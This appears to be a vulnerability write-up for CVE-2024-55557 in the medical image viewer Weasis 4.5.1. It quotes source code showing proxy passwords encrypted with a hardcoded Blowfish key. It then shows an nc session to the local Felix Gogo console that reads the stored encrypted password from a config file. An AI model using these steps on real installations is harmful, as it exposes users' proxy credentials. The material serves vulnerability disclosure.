Another CVE. But this time CVE-2024-55557 exposes a critical flaw in Weasis 4.5.1, where hardcoded keys compromise proxy credential encryption.
private static final String BLOWFISH = "Blowfish"; // NON-NLS
public static byte[] encrypt(byte[] input, String strKey) throws GeneralSecurityException {
SecretKeySpec skeyspec = new SecretKeySpec(
Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
BLOWFISH
);
Cipher cipher = Cipher.getInstance(BLOWFISH);
cipher.init(Cipher.ENCRYPT_MODE, skeyspec);
return cipher.doFinal(input);
}
public static byte[] decrypt(byte[] input, String strKey) throws GeneralSecurityException {
SecretKeySpec skeyspec = new SecretKeySpec(
Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
BLOWFISH
);
Cipher cipher = Cipher.getInstance(BLOWFISH);
cipher.init(Cipher.DECRYPT_MODE, skeyspec);
return cipher.doFinal(input);
}
private static final String PROXY_AUTH_PWD = "proxy.auth.pwd"; // NOSONAR
private static final String PROXY_AUTH_REQUIRED = "proxy.auth";
// Retrieving and decrypting the proxy password
private void initState() {
WProperties p = GuiUtils.getUICore().getLocalPersistence();
String pass = "";
try {
byte[] pwd = p.getByteArrayProperty(PROXY_AUTH_PWD, null);
if (pwd != null) {
pwd = CryptoHandler.decrypt(pwd, PROXY_AUTH_REQUIRED);
if (pwd != null && pwd.length > 0) {
pass = new String(pwd, StandardCharsets.UTF_8);
}
}
} catch (Exception e) {
// cut
}
proxyPass.setText(pass);
}
// Encrypting and storing the proxy password
public void closeAdditionalWindow() {
WProperties p = GuiUtils.getUICore().getLocalPersistence();
try {
char[] pwd = proxyPass.getPassword();
if (pwd != null && pwd.length > 0) {
byte[] b = new byte[pwd.length];
for (int i = 0; i < b.length; i++) {
b[i] = (byte) pwd[i];
}
p.putByteArrayProperty(PROXY_AUTH_PWD, CryptoHandler.encrypt(b, PROXY_AUTH_REQUIRED));
}
} catch (Exception ex) {
// cut
}
}
public static byte[] decrypt(byte[] input, String strKey) throws GeneralSecurityException {
SecretKeySpec skeyspec = new SecretKeySpec(
Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
"Blowfish" // NON-NLS
);
Cipher cipher = Cipher.getInstance("Blowfish"); // NON-NLS
cipher.init(Cipher.DECRYPT_MODE, skeyspec);
return cipher.doFinal(input);
}
public static final String PARAM_ARGUMENT = "arg"; // NON-NLS
public static final String PARAM_PROPERTY = "pro"; // NON-NLS
public static final String PARAM_CODEBASE = "cdb"; // NON-NLS
public static final String PARAM_CODEBASE_EXT = "cdb-ext"; // NON-NLS
public static final String PARAM_AUTHORIZATION = "auth"; // NON-NLS
// cut
if (Utils.hasText(val)) {
applyProxyProperty("socksProxyPort", p.getProperty("proxy.socks.port"), mproxy); // NON-NLS
}
boolean auth = Utils.getEmptyToFalse(p.getProperty("proxy.auth"));
if (auth) {
String authUser = p.getProperty("proxy.auth.user");
String authPassword;
try {
byte[] pwd = Utils.getByteArrayProperty(p, "proxy.auth.pwd", null);
if (pwd != null) {
pwd = Utils.decrypt(pwd, "proxy.auth");
if (pwd != null && pwd.length > 0) {
authPassword = new String(pwd, StandardCharsets.UTF_8);
applyPasswordAuthentication(authUser, authPassword);
applyProxyProperty("http.proxyUser", authUser, mproxy);
applyProxyProperty("http.proxyPassword", authPassword, mproxy);
}
}
} catch (Exception e) {
// cut
}
}
//cut
}
private static void applyPasswordAuthentication(
final String authUser, final String authPassword) {
Authenticator.setDefault(
new Authenticator() {
@Override
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(authUser, authPassword.toCharArray());
}
});
}
private static void applyProxyProperty(String key, String value, boolean manual) {
if (manual && Utils.hasText(value)) {
System.setProperty(key, value);
}
}
public void putByteArrayProperty(String key, byte[] value) {
if (isKeyValid(key)) {
try {
String val = StringUtil.EMPTY_STRING;
if (value != null && value.length > 0) {
val =
new String(
Base64.getEncoder().encode(GzipManager.gzipCompressToByte(value)),
StandardCharsets.UTF_8);
}
this.put(key, val);
} catch (IOException e) {
LOGGER.error("Set byte property", e);
}
}
}
#Tue Dec 10 15:40:24 GMT 2024
...
proxy.auth=true
proxy.auth.pwd=H4sIAAAAAAAA/9NkeOzmbOxkxSm0+47Jqq5ZP8NCT7jta10GAErDIWIYAAAA
proxy.auth.user=partywave
proxy.exceptions=
....
nc 127.0.0.1 17179
____________________________
Welcome to Apache Felix Gogo
g! weasis:info -a
Weasis 4.5.1
Installation path: /home/pwave/snap/weasis/105/.weasis # <--- take the Weasis HOME folder
....
User: pwave
OSGI native specs: linux-x86-64
Operating system: Linux 6.6.9-amd64 amd64
....
g! gogo:cat /home/pwave/snap/weasis/105/.weasis/data/weasis-core/persistence.properties
#Tue Dec 10 15:40:24 GMT 2024
...
proxy.auth=true
proxy.auth.pwd=H4sIAAAAAAAA/9NkeOzmbOxkxSm0+47Jqq5ZP8NCT7jta10GAErDIWIYAAAA # <--- take the Weasis config file
proxy.auth.user=partywave